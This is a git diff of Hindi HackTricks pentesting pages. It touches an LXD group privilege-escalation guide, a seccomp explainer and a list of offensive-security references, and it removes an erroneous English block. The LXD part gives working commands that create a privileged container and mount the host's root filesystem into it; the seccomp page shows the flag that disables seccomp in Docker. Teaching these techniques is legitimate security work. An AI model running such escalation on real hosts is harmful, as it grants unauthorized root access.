-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **HackTricks** को अपनी हैकिंग ट्रिक्स साझा करके PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में **योगदान दें**.
diff --git a/linux-unix/privilege-escalation/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/lxd-privilege-escalation.md index 92c57b560..ec090d76a 100644 --- a/linux-unix/privilege-escalation/lxd-privilege-escalation.md +++ b/linux-unix/privilege-escalation/lxd-privilege-escalation.md @@ -1,25 +1,23 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**. +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-यदि आप _**lxd**_ **या** _**lxc**_ **समूह में सम्मिलित हैं**, तो आप रूट बन सकते हैं +यदि आप _**lxd**_ **या** _**lxc**_ **समूह के सदस्य हैं**, आप रूट बन सकते हैं -# इंटरनेट के बिना उत्पन्न करना +# इंटरनेट के बिना शोषण -आप अपनी मशीन में इस डिस्ट्रो बिल्डर को इंस्टॉल कर सकते हैं: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(गिथब के निर्देशों का पालन करें\): +आप अपनी मशीन में यह डिस्ट्रो बिल्डर इंस्टॉल कर सकते हैं: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) \(github के निर्देशों का पालन करें\): ```bash #Install requirements sudo apt update @@ -37,78 +35,21 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml ``` -फिर, सर्वर पर फ़ाइलें **lxd.tar.xz** और **rootfs.squashfs** अपलोड करें +फिर, सर्वर पर **lxd.tar.xz** और **rootfs.squashfs** फाइलें अपलोड करें -छवि जोड़ें: +इमेज जोड़ें: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` -# LXD Privilege Escalation - -## Introduction - -LXD is a container hypervisor that allows users to run multiple Linux distributions on a single host. However, misconfigurations in LXD can lead to privilege escalation, allowing an attacker to gain root access on the host system. - -## Container Creation - -To create a container in LXD, use the following command: - -```bash -lxc launch -``` - -Replace `` with the desired Linux distribution image and `` with the name you want to give to the container. - -## Adding Root Path - -To add the root path to the container, follow these steps: - -1. Start the container: - -```bash -lxc start -``` - -2. Enter the container: - -```bash -lxc exec -- /bin/bash -``` - -3. Mount the root filesystem: - -```bash -mount -t proc proc /proc -mount -t sysfs sys /sys -mount -t tmpfs tmp /tmp -mount -t devtmpfs udev /dev -``` - -4. Change the root path: - -```bash -chroot /rootfs -``` - -5. Verify the root path has been added: - -```bash -ls / -``` - -If you see the contents of the host system's root directory, it means the root path has been successfully added. - -## Conclusion - -By following these steps, you can create a container in LXD and add the root path, potentially allowing for privilege escalation. It is important to properly configure LXD to prevent unauthorized access and ensure the security of your host system. +कंटेनर बनाएं और रूट पथ जोड़ें ```bash lxc init alpine privesc -c security.privileged=true lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` -आप निम्नलिखित कमांड का उपयोग करके कंटेनर को चला सकते हैं: +कंटेनर को निष्पादित करें: ```bash lxc start privesc lxc exec privesc /bin/sh @@ -132,16 +73,14 @@ lxc exec test bash
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
diff --git a/linux-unix/privilege-escalation/seccomp.md b/linux-unix/privilege-escalation/seccomp.md index d48b1b7ca..c0d455520 100644 --- a/linux-unix/privilege-escalation/seccomp.md +++ b/linux-unix/privilege-escalation/seccomp.md @@ -1,34 +1,32 @@
-☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS परिवार**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर सबमिट करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
-# मूलभूत जानकारी +# मूल जानकारी -**Seccomp** या सुरक्षित गणना मोड, संक्षेप में, लिनक्स कर्नल की एक सुविधा है जो **सिस्टम कॉल फ़िल्टर** के रूप में कार्य कर सकती है।\ -Seccomp के 2 मोड होते हैं। +**Seccomp** या सुरक्षित कंप्यूटिंग मोड, संक्षेप में, एक लिनक्स कर्नेल की विशेषता है जो **सिस्टम कॉल फिल्टर** के रूप में कार्य कर सकती है।\ +Seccomp में 2 मोड होते हैं। -**seccomp** (सुरक्षित गणना मोड का संक्षेप रूप) लिनक्स कर्नल में एक कंप्यूटर सुरक्षा सुविधा है। seccomp एक प्रक्रिया को "सुरक्षित" स्थिति में एक-तरफ़ा परिवर्तन करने की अनुमति देता है जहां **यह कोई सिस्टम कॉल नहीं कर सकता**, केवल `exit()`, `sigreturn()`, `read()` और `write()` को **पहले से खोले गए** फ़ाइल डिस्क्रिप्टर पर। यदि इसके अलावा कोई अन्य सिस्टम कॉल की कोशिश की जाए, तो कर्नल प्रक्रिया को SIGKILL या SIGSYS के साथ **समाप्त** कर देगा। इस प्रकार में, यह सिस्टम के संसाधनों को वर्चुअलाइज़ नहीं करता है, बल्कि प्रक्रिया को पूरी तरह से उनसे अलग करता है। +**seccomp** (सुरक्षित कंप्यूटिंग मोड के लिए संक्षिप्त) एक कंप्यूटर सुरक्षा सुविधा है **लिनक्स** **कर्नेल** में। seccomp एक प्रक्रिया को "सुरक्षित" स्थिति में एकतरफा संक्रमण करने की अनुमति देता है जहां **यह केवल निम्नलिखित सिस्टम कॉल कर सकता है** `exit()`, `sigreturn()`, `read()` और `write()` **पहले से खुले** फाइल डिस्क्रिप्टर्स के लिए। यदि यह कोई अन्य सिस्टम कॉल करने का प्रयास करता है, तो **कर्नेल** **प्रक्रिया** को SIGKILL या SIGSYS के साथ **समाप्त** कर देगा। इस अर्थ में, यह सिस्टम के संसाधनों को वर्चुअलाइज़ नहीं करता है लेकिन प्रक्रिया को उनसे पूरी तरह से अलग कर देता है। -seccomp मोड को `prctl(2)` सिस्टम कॉल का उपयोग करके `PR_SET_SECCOMP` तर्क का उपयोग करके सक्षम किया जाता है, या (लिनक्स कर्नल 3.17 के बाद से) `seccomp(2)` सिस्टम कॉल का उपयोग करके। seccomp मोड को पहले एक फ़ाइल, `/proc/self/seccomp`, में लिखकर सक्षम किया जाता था, लेकिन इस विधि को `prctl()` के पक्ष में हटा दिया गया है। कुछ कर्नल संस्करणों में, seccomp `RDTSC` x86 इंस्ट्रक्शन को अक्षरशः अक्षम कर देता है, जो पावर-ऑन के बाद बिते हुए प्रोसेसर साइकिलों की संख्या वापस करता है, जिसे उच्च-सटीक समयगणना के लिए उपयोग किया जाता है। +seccomp मोड को `prctl(2)` सिस्टम कॉल का उपयोग करके `PR_SET_SECCOMP` तर्क के साथ **सक्षम किया जाता है**, या (लिनक्स कर्नेल 3.17 के बाद से) `seccomp(2)` सिस्टम कॉल के माध्यम से। seccomp मोड को पहले `/proc/self/seccomp` फाइल में लिखकर सक्षम किया जाता था, लेकिन इस विधि को `prctl()` के पक्ष में हटा दिया गया। कुछ कर्नेल संस्करणों में, seccomp `RDTSC` x86 निर्देश को अक्षम कर देता है, जो चालू होने के बाद से बीते प्रोसेसर चक्रों की संख्या लौटाता है, जिसका उपयोग उच्च-परिशुद्धता टाइमिंग के लिए किया जाता है। -**seccomp-bpf** seccomp का एक विस्तार है जो बर्कले पैकेट फ़िल्टर नियमों का उपयोग करके सिस्टम कॉल की फ़िल्टरिंग की अनुमति देता है। इसका उपयोग ओपनएसएसएच और वीएसएफटीपीडी द्वारा किया जाता है, साथ ही क्रोम ओएस और लिनक्स पर गूगल क्रोम/क्रोमियम वेब ब्राउज़र। (इस दृष्टि में seccomp-bpf पुराने सिस्ट्रेस के लिए समान कार्यक्षमता प्राप्त करता है, लेकिन और लचीलापन और उच्च प्रदर्शन के साथ—जो लगता है कि लिनक्स के लिए अब और समर्थित नहीं है।) +**seccomp-bpf** seccomp का एक विस्तार है जो **सिस्टम कॉल की फिल्टरिंग को एक कॉन्फ़िगरेबल पॉलिसी का उपयोग करके अनुमति देता है** जिसे Berkeley Packet Filter नियमों का उपयोग करके लागू किया जाता है। इसका उपयोग OpenSSH और vsftpd के साथ-साथ Google Chrome/Chromium वेब ब्राउज़रों द्वारा Chrome OS और लिनक्स पर किया जाता है। (इस संबंध में seccomp-bpf पुराने systrace के समान कार्यक्षमता प्राप्त करता है, लेकिन अधिक लचीलापन और उच्च प्रदर्शन के साथ, जो लिनक्स के लिए अब समर्थित नहीं लगता है।) ## **मूल/सख्त मोड** -इस मोड में **Seccomp केवल syscalls की अनुमति देता है** `exit()`, `sigreturn()`, `read()` और `write()` को पहले से खोले गए फ़ाइल डिस्क्रिप्टर पर। यदि कोई अन्य syscall की कोशिश की जाए, तो प्रक्रिया को SIGKILL के उपयोग से मार दिया जाता है +इस मोड में **Seccomp** केवल सिस्टम कॉल्स `exit()`, `sigreturn()`, `read()` और `write()` को पहले से खुले फाइल डिस्क्रिप्टर्स के लिए अनुमति देता है। यदि कोई अन्य सिस्टम कॉल किया जाता है, तो प्रक्रिया को SIGKILL का उपयोग करके मार दिया जाता है। {% code title="seccomp_strict.c" %} ```c @@ -64,7 +62,7 @@ printf("You will not see this message--the process will be killed first\n"); ``` ## Seccomp-bpf -यह मोड एक विन्यासयोग्य नीति का उपयोग करके बर्कले पैकेट फ़िल्टर नियमों का उपयोग करके सिस्टम कॉल के फ़िल्टरिंग को संभव बनाता है। +यह मोड **सिस्टम कॉल्स को एक कॉन्फ़िगरेबल पॉलिसी का उपयोग करके फ़िल्टर करने की अनुमति देता है** जिसे Berkeley Packet Filter नियमों का उपयोग करके लागू किया जाता है। {% code title="seccomp_bpf.c" %} ```c @@ -118,41 +116,39 @@ printf("this process is %d\n", getpid()); # Docker में Seccomp -**Seccomp-bpf** को **Docker** द्वारा समर्थित किया जाता है ताकि संग्रह को कम करके कंटेनर से **syscalls **को प्रतिबंधित किया जा सके। आप डिफ़ॉल्ट रूप से **ब्लॉक किए गए syscalls **को [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) में और डिफ़ॉल्ट seccomp प्रोफ़ाइल को यहां पा सकते हैं [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)।\ -आप एक डॉकर कंटेनर को **अलग seccomp** नीति के साथ चला सकते हैं: +**Seccomp-bpf** का समर्थन **Docker** द्वारा किया जाता है ताकि कंटेनरों से **syscalls** को प्रभावी ढंग से सीमित किया जा सके, जिससे सतह क्षेत्र में कमी आती है। आप **डिफ़ॉल्ट रूप से अवरुद्ध syscalls** को यहां पा सकते हैं [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) और **डिफ़ॉल्ट seccomp प्रोफ़ाइल** यहां पाई जा सकती है [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +आप एक docker कंटेनर को **विभिन्न seccomp** नीति के साथ चला सकते हैं: ```bash docker run --rm \ -it \ --security-opt seccomp=/path/to/seccomp/profile.json \ hello-world ``` -यदि आप उदाहरण के लिए किसी कंटेनर को `uname` जैसे कुछ `syscall` का निषेध करना चाहते हैं, तो आप [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) से डिफ़ॉल्ट प्रोफ़ाइल डाउनलोड कर सकते हैं और बस उस सूची से `uname` स्ट्रिंग को हटा दें।\ -यदि आप सुनिश्चित करना चाहते हैं कि **किसी बाइनरी कंटेनर के अंदर काम नहीं करती है**, तो आप strace का उपयोग करके बाइनरी के द्वारा उपयोग किए जा रहे syscalls की सूची बना सकते हैं और फिर उन्हें निषेधित कर सकते हैं।\ -निम्नलिखित उदाहरण में `uname` के **syscalls** का पता चलता है: +यदि आप उदाहरण के लिए किसी **container** को कुछ **syscall** जैसे `uname` का उपयोग करने से **रोकना** चाहते हैं, तो आप [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) से डिफ़ॉल्ट प्रोफ़ाइल डाउनलोड कर सकते हैं और बस **सूची से `uname` स्ट्रिंग को हटा दें**।\ +यदि आप यह सुनिश्चित करना चाहते हैं कि **कोई बाइनरी डॉकर कंटेनर के अंदर काम न करे**, तो आप strace का उपयोग करके बाइनरी द्वारा उपयोग किए जा रहे syscalls की सूची बना सकते हैं और फिर उन्हें रोक सकते हैं।\ +निम्नलिखित उदाहरण में `uname` के **syscalls** का पता लगाया गया है: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` {% hint style="info" %} -यदि आप केवल एक एप्लिकेशन चलाने के लिए Docker का उपयोग कर रहे हैं, तो आप इसे **`strace`** के साथ **प्रोफ़ाइल** कर सकते हैं और उसे उन syscalls की अनुमति दें जो इसे आवश्यक होती हैं। +यदि आप **Docker का उपयोग केवल एक एप्लिकेशन लॉन्च करने के लिए कर रहे हैं**, तो आप इसे **`strace`** के साथ **प्रोफाइल** कर सकते हैं और **केवल उन syscalls को अनुमति दे सकते हैं** जिनकी इसे आवश्यकता है {% endhint %} ## Docker में इसे निष्क्रिय करें -फ़्लैग के साथ एक कंटेनर चलाएं: **`--security-opt seccomp=unconfined`** +इस फ्लैग के साथ एक कंटेनर लॉन्च करें: **`--security-opt seccomp=unconfined`**
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**। +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करना चाहते हैं**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो** करें। +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
diff --git a/misc/references.md b/misc/references.md index 8307d6a7b..156c7d92e 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,79 +1,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की उपलब्धता चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) - -- [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें**. - -
- - -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} - -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} - -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} - -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} - -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} - -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} - -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} - -{% embed url="https://anhtai.me/oscp-fun-guide/" %} - -{% embed url="https://www.thehacker.recipes/" %} - -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} - -{% embed url="https://gtfobins.github.io/" %} - -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} - -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} - -{% embed url="https://hideandsec.sh/" %} - -{% embed url="https://cheatsheet.haax.fr/" %} - -{% embed url="https://infosecwriteups.com/" %} - -{% embed url="https://www.exploit-db.com/" %} - -{% embed url="https://wadcoms.github.io/" %} - -{% embed url="https://lolbas-project.github.io" %} - -{% embed url="https://pentestbook.six2dez.com/" %} - -{% embed url="https://www.hackingarticles.in/" %} - -{% embed url="https://pentestlab.blog/" %} - -{% embed url="https://ippsec.rocks/" %} - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की उपलब्धता चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! - -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) - -- [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें**. +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* 